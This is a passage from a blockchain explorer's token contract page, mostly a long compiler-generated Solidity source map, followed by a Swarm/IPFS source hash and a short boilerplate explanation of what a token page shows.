63:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:118::-;4403:24;4421:5;4403:24;:::i;:::-;4398:3;4391:37;4316:118;;:::o;4440:442::-;4589:4;4627:2;4616:9;4612:18;4604:26;;4640:71;4708:1;4697:9;4693:17;4684:6;4640:71;:::i;:::-;4721:72;4789:2;4778:9;4774:18;4765:6;4721:72;:::i;:::-;4803;4871:2;4860:9;4856:18;4847:6;4803:72;:::i;:::-;4440:442;;;;;;:::o;4888:117::-;4997:1;4994;4987:12;5011:117;5120:1;5117;5110:12;5134:117;5243:1;5240;5233:12;5274:568;5347:8;5357:6;5407:3;5400:4;5392:6;5388:17;5384:27;5374:122;;5415:79;;:::i;:::-;5374:122;5528:6;5515:20;5505:30;;5558:18;5550:6;5547:30;5544:117;;;5580:79;;:::i;:::-;5544:117;5694:4;5686:6;5682:17;5670:29;;5748:3;5740:4;5732:6;5728:17;5718:8;5714:32;5711:41;5708:128;;;5755:79;;:::i;:::-;5708:128;5274:568;;;;;:::o;5865:::-;5938:8;5948:6;5998:3;5991:4;5983:6;5979:17;5975:27;5965:122;;6006:79;;:::i;:::-;5965:122;6119:6;6106:20;6096:30;;6149:18;6141:6;6138:30;6135:117;;;6171:79;;:::i;:::-;6135:117;6285:4;6277:6;6273:17;6261:29;;6339:3;6331:4;6323:6;6319:17;6309:8;6305:32;6302:41;6299:128;;;6346:79;;:::i;:::-;6299:128;5865:568;;;;;:::o;6439:1079::-;6570:6;6578;6586;6594;6602;6651:2;6639:9;6630:7;6626:23;6622:32;6619:119;;;6657:79;;:::i;:::-;6619:119;6777:1;6802:53;6847:7;6838:6;6827:9;6823:22;6802:53;:::i;:::-;6792:63;;6748:117;6932:2;6921:9;6917:18;6904:32;6963:18;6955:6;6952:30;6949:117;;;6985:79;;:::i;:::-;6949:117;7098:80;7170:7;7161:6;7150:9;7146:22;7098:80;:::i;:::-;7080:98;;;;6875:313;7255:2;7244:9;7240:18;7227:32;7286:18;7278:6;7275:30;7272:117;;;7308:79;;:::i;:::-;7272:117;7421:80;7493:7;7484:6;7473:9;7469:22;7421:80;:::i;:::-;7403:98;;;;7198:313;6439:1079;;;;;;;;:::o;7524:329::-;7583:6;7632:2;7620:9;7611:7;7607:23;7603:32;7600:119;;;7638:79;;:::i;:::-;7600:119;7758:1;7783:53;7828:7;7819:6;7808:9;7804:22;7783:53;:::i;:::-;7773:63;;7729:117;7524:329;;;;:::o;7859:::-;7918:6;7967:2;7955:9;7946:7;7942:23;7938:32;7935:119;;;7973:79;;:::i;:::-;7935:119;8093:1;8118:53;8163:7;8154:6;8143:9;8139:22;8118:53;:::i;:::-;8108:63;;8064:117;7859:329;;;;:::o;8194:474::-;8262:6;8270;8319:2;8307:9;8298:7;8294:23;8290:32;8287:119;;;8325:79;;:::i;:::-;8287:119;8445:1;8470:53;8515:7;8506:6;8495:9;8491:22;8470:53;:::i;:::-;8460:63;;8416:117;8572:2;8598:53;8643:7;8634:6;8623:9;8619:22;8598:53;:::i;:::-;8588:63;;8543:118;8194:474;;;;;:::o;8674:222::-;8767:4;8805:2;8794:9;8790:18;8782:26;;8818:71;8886:1;8875:9;8871:17;8862:6;8818:71;:::i;:::-;8674:222;;;;:::o;8902:474::-;8970:6;8978;9027:2;9015:9;9006:7;9002:23;8998:32;8995:119;;;9033:79;;:::i;:::-;8995:119;9153:1;9178:53;9223:7;9214:6;9203:9;9199:22;9178:53;:::i;:::-;9168:63;;9124:117;9280:2;9306:53;9351:7;9342:6;9331:9;9327:22;9306:53;:::i;:::-;9296:63;;9251:118;8902:474;;;;;:::o;9382:180::-;9430:77;9427:1;9420:88;9527:4;9524:1;9517:15;9551:4;9548:1;9541:15;9568:320;9612:6;9649:1;9643:4;9639:12;9629:22;;9696:1;9690:4;9686:12;9717:18;9707:81;;9773:4;9765:6;9761:17;9751:27;;9707:81;9835:2;9827:6;9824:14;9804:18;9801:38;9798:84;;9854:18;;:::i;:::-;9798:84;9619:269;9568:320;;;:::o;9894:180::-;9942:77;9939:1;9932:88;10039:4;10036:1;10029:15;10063:4;10060:1;10053:15;10080:102;10122:8;10169:5;10166:1;10162:13;10141:34;;10080:102;;;:::o;10188:848::-;10249:5;10256:4;10280:6;10271:15;;10304:5;10295:14;;10318:712;10339:1;10329:8;10326:15;10318:712;;;10434:4;10429:3;10425:14;10419:4;10416:24;10413:50;;;10443:18;;:::i;:::-;10413:50;10493:1;10483:8;10479:16;10476:451;;;10908:4;10901:5;10897:16;10888:25;;10476:451;10958:4;10952;10948:15;10940:23;;10988:32;11011:8;10988:32;:::i;:::-;10976:44;;10318:712;;;10188:848;;;;;;;:::o;11042:1073::-;11096:5;11287:8;11277:40;;11308:1;11299:10;;11310:5;;11277:40;11336:4;11326:36;;11353:1;11344:10;;11355:5;;11326:36;11422:4;11470:1;11465:27;;;;11506:1;11501:191;;;;11415:277;;11465:27;11483:1;11474:10;;11485:5;;;11501:191;11546:3;11536:8;11533:17;11530:43;;;11553:18;;:::i;:::-;11530:43;11602:8;11599:1;11595:16;11586:25;;11637:3;11630:5;11627:14;11624:40;;;11644:18;;:::i;:::-;11624:40;11677:5;;;11415:277;;11801:2;11791:8;11788:16;11782:3;11776:4;11773:13;11769:36;11751:2;11741:8;11738:16;11733:2;11727:4;11724:12;11720:35;11704:111;11701:246;;;11857:8;11851:4;11847:19;11838:28;;11892:3;11885:5;11882:14;11879:40;;;11899:18;;:::i;:::-;11879:40;11932:5;;11701:246;11972:42;12010:3;12000:8;11994:4;11991:1;11972:42;:::i;:::-;11957:57;;;;12046:4;12041:3;12037:14;12030:5;12027:25;12024:51;;;12055:18;;:::i;:::-;12024:51;12104:4;12097:5;12093:16;12084:25;;11042:1073;;;;;;:::o;12121:285::-;12181:5;12205:23;12223:4;12205:23;:::i;:::-;12197:31;;12249:27;12267:8;12249:27;:::i;:::-;12237:39;;12295:104;12332:66;12322:8;12316:4;12295:104;:::i;:::-;12286:113;;12121:285;;;;:::o;12412:410::-;12452:7;12475:20;12493:1;12475:20;:::i;:::-;12470:25;;12509:20;12527:1;12509:20;:::i;:::-;12504:25;;12564:1;12561;12557:9;12586:30;12604:11;12586:30;:::i;:::-;12575:41;;12765:1;12756:7;12752:15;12749:1;12746:22;12726:1;12719:9;12699:83;12676:139;;12795:18;;:::i;:::-;12676:139;12460:362;12412:410;;;;:::o;12828:194::-;12868:4;12888:20;12906:1;12888:20;:::i;:::-;12883:25;;12922:20;12940:1;12922:20;:::i;:::-;12917:25;;12966:1;12963;12959:9;12951:17;;12990:1;12984:4;12981:11;12978:37;;;12995:18;;:::i;:::-;12978:37;12828:194;;;;:::o;13028:180::-;13076:77;13073:1;13066:88;13173:4;13170:1;13163:15;13197:4;13194:1;13187:15;13214:180;13262:77;13259:1;13252:88;13359:4;13356:1;13349:15;13383:4;13380:1;13373:15;13400:185;13440:1;13457:20;13475:1;13457:20;:::i;:::-;13452:25;;13491:20;13509:1;13491:20;:::i;:::-;13486:25;;13530:1;13520:35;;13535:18;;:::i;:::-;13520:35;13577:1;13574;13570:9;13565:14;;13400:185;;;;:::o;13591:180::-;13639:77;13636:1;13629:88;13736:4;13733:1;13726:15;13760:4;13757:1;13750:15;13777:143;13834:5;13865:6;13859:13;13850:22;;13881:33;13908:5;13881:33;:::i;:::-;13777:143;;;;:::o;13926:351::-;13996:6;14045:2;14033:9;14024:7;14020:23;14016:32;14013:119;;;14051:79;;:::i;:::-;14013:119;14171:1;14196:64;14252:7;14243:6;14232:9;14228:22;14196:64;:::i;:::-;14186:74;;14142:128;13926:351;;;;:::o;14283:85::-;14328:7;14357:5;14346:16;;14283:85;;;:::o;14374:60::-;14402:3;14423:5;14416:12;;14374:60;;;:::o;14440:158::-;14498:9;14531:61;14549:42;14558:32;14584:5;14558:32;:::i;:::-;14549:42;:::i;:::-;14531:61;:::i;:::-;14518:74;;14440:158;;;:::o;14604:147::-;14699:45;14738:5;14699:45;:::i;:::-;14694:3;14687:58;14604:147;;:::o;14757:114::-;14824:6;14858:5;14852:12;14842:22;;14757:114;;;:::o;14877:184::-;14976:11;15010:6;15005:3;14998:19;15050:4;15045:3;15041:14;15026:29;;14877:184;;;;:::o;15067:132::-;15134:4;15157:3;15149:11;;15187:4;15182:3;15178:14;15170:22;;15067:132;;;:::o;15205:108::-;15282:24;15300:5;15282:24;:::i;:::-;15277:3;15270:37;15205:108;;:::o;15319:179::-;15388:10;15409:46;15451:3;15443:6;15409:46;:::i;:::-;15487:4;15482:3;15478:14;15464:28;;15319:179;;;;:::o;15504:113::-;15574:4;15606;15601:3;15597:14;15589:22;;15504:113;;;:::o;15653:732::-;15772:3;15801:54;15849:5;15801:54;:::i;:::-;15871:86;15950:6;15945:3;15871:86;:::i;:::-;15864:93;;15981:56;16031:5;15981:56;:::i;:::-;16060:7;16091:1;16076:284;16101:6;16098:1;16095:13;16076:284;;;16177:6;16171:13;16204:63;16263:3;16248:13;16204:63;:::i;:::-;16197:70;;16290:60;16343:6;16290:60;:::i;:::-;16280:70;;16136:224;16123:1;16120;16116:9;16111:14;;16076:284;;;16080:14;16376:3;16369:10;;15777:608;;;15653:732;;;;:::o;16391:831::-;16654:4;16692:3;16681:9;16677:19;16669:27;;16706:71;16774:1;16763:9;16759:17;16750:6;16706:71;:::i;:::-;16787:80;16863:2;16852:9;16848:18;16839:6;16787:80;:::i;:::-;16914:9;16908:4;16904:20;16899:2;16888:9;16884:18;16877:48;16942:108;17045:4;17036:6;16942:108;:::i;:::-;16934:116;;17060:72;17128:2;17117:9;17113:18;17104:6;17060:72;:::i;:::-;17142:73;17210:3;17199:9;17195:19;17186:6;17142:73;:::i;:::-;16391:831;;;;;;;;:::o;17228:191::-;17268:3;17287:20;17305:1;17287:20;:::i;:::-;17282:25;;17321:20;17339:1;17321:20;:::i;:::-;17316:25;;17364:1;17361;17357:9;17350:16;;17385:3;17382:1;17379:10;17376:36;;;17392:18;;:::i;:::-;17376:36;17228:191;;;;:::o

Swarm Source

ipfs://dd90362659a303b5e099be6fa04242b86b9dce5d403f4c9ab9eeafb54608657c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.